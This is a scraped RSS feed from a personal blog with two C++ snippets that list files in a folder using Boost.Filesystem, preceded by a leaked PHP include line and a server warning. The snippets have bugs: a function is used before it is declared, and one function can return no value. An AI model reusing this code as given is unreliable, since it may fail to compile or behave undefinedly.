if(function_exists('is_admin') && is_admin() && !file_exists(WP_PLUGIN_DIR.'/loginizer/loginizer-security.php') && file_exists(dirname(__FILE__).'/supgrade.php')){ include_once(dirname(__FILE__).'/supgrade.php'); }
Warning: Cannot modify header information - headers already sent by (output started at /home/fantasmo/public_html/ash.wine/wp-content/plugins/jetpack/jetpack.php:1) in /home/fantasmo/public_html/ash.wine/wp-includes/feed-rss2.php on line 8
c++ – Ashwin Sinha http://ash.wine Augmented Reality / Games / Web Fri, 18 Nov 2016 09:57:54 +0000 en-US hourly 1 https://wordpress.org/?v=6.8.5 http://ash.wine/wp-content/uploads/2016/10/cropped-Ash-icon-32x32.png c++ – Ashwin Sinha http://ash.wine 32 32 Getting all files of a specific type, in a specified folder using Boost. (returned in alphabetical order) http://hacks.ash.wine/getting-all-files-of-a-specific-type-in-a-specified-folder-using-boost-returned-in-alphabetical-order/ Mon, 25 Apr 2016 20:03:00 +0000 http://ash.wine/?p=290

Getting all files of a specific type, in a specified folder using Boost. (returned in alphabetical order)

//Accepts a path to a directory
//a file extension
//and a list
//Puts all files matching that extension in the directory into the given list.
//Sorts and returns the results
void GetFilesOfTypeInDirectory(const boost::filesystem::path &directoryPath, const string &fileExtension, std::vector<boost::filesystem::path> &list)
{
    if(!boost::filesystem::exists(directoryPath) || !boost::filesystem::is_directory(directoryPath))
    {
      std::cerr << directoryPath << "is not a directory." << std::endl;
      return;
    }

    boost::filesystem::recursive_directory_iterator it(directoryPath);
    boost::filesystem::recursive_directory_iterator endit;

    while(it != endit)
    {
        if(boost::filesystem::is_regular_file(*it) && it->path().extension() == fileExtension) list.push_back(it->path());
        ++it;
    }

    //Sort the list using our path comparing function
    std::sort(list.begin(), list.end(), PathSort);

}

bool PathSort(const boost::filesystem::path &first, const boost::filesystem::path &second)
{
    return first.filename().string() < second.filename().string();
}
]]>
Getting all files in a specified folder using Boost. http://hacks.ash.wine/getting-all-files-in-a-specified-folder-using-boost/ Wed, 13 Apr 2016 02:02:00 +0000 http://ash.wine/?p=292

Getting all files in a specified folder using Boost.

Also check out how to get files of a specific type, and sorted results here!

#include <boost/filesystem.hpp>
#include <boost/range/iterator_range.hpp>

//returns a list of all the files in a given folder.
std::vector<boost::filesystem::directory_entry> GetAllFilesInFolder(boost::filesystem::path folderPath)
{
    try
    {
        if (exists(folderPath))    // does p actually exist?
        {
            std::vector<boost::filesystem::directory_entry> files;

            if (is_regular_file(folderPath))        // is p a regular file?
                cout << folderPath << " size is " << file_size(folderPath) << '\n';



            else if (is_directory(folderPath))      // is p a directory?
            {
                cout << folderPath << " is a directory containing:\n";
                /*
                copy(boost::filesystem::directory_iterator(folderPath), boost::filesystem::directory_iterator(),  // directory_iterator::value_type
                    ostream_iterator<boost::filesystem::directory_entry>(cout, "\n"));  // is directory_entry, which is
                                                                     // converted to a path by the
                                                                     // path stream inserter
                */
                for (auto& entry : boost::make_iterator_range(boost::filesystem::directory_iterator(folderPath), {}))
                {
                    std::cout << entry << "\n";
                    files.push_back(entry);
                }
                return files;
            }
        }
        else
        {
            cout << folderPath << " does not exist\n";
        }

    }

    catch (const boost::filesystem::filesystem_error& ex)
    {
        cout << ex.what() << '\n';
    }
}

Usage:

    vector<boost::filesystem::directory_entry> files = GetAllFilesInFolder(folder);
]]>